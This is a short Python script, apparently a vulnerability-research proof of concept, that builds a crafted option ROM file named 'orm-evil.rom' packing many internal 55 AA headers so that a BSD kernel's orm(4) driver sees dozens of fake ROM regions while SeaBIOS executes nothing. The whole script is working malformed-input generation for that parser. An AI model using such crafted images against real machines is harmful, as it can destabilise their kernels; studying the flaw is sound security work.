# v3: SeaBIOS enters ISA roms at seg:0003 (init vector at offset 3 is
# *ignored* in this path) -> every 2KB block gets an immediate RETF (0xCB)
# at offset 3 so nothing executes; the 55 AA headers remain for orm(4).
SIZE = 0xBE * 512          # 97280; 0xBE & 3 == 2 -> orm skips the outer header
rom = bytearray(SIZE)
n = 0
for off in range(0, SIZE, 0x800):
    if off == 0:
        rom[0:3] = b"\x55\xaa\xbe"      # outer: SeaBIOS size, orm-skipped (granularity 2)
    else:
        rom[0+off:3+off] = b"\x55\xaa\x04"  # internal: orm sees a 2KB "ROM"
    rom[off+3] = 0xCB                     # RETF at the entry SeaBIOS actually uses
    n += 1
rom[SIZE-1] = (-sum(rom)) & 0xFF
assert sum(rom) & 0xFF == 0
open("/home/maxx/dfbsd/dfbsd/findings/poc/DF-5156/orm-evil.rom", "wb").write(bytes(rom))
print(f"SIZE={SIZE} blocks={n} internal_headers={n-1} +1 existing(0xe8000) = {n} potential regions")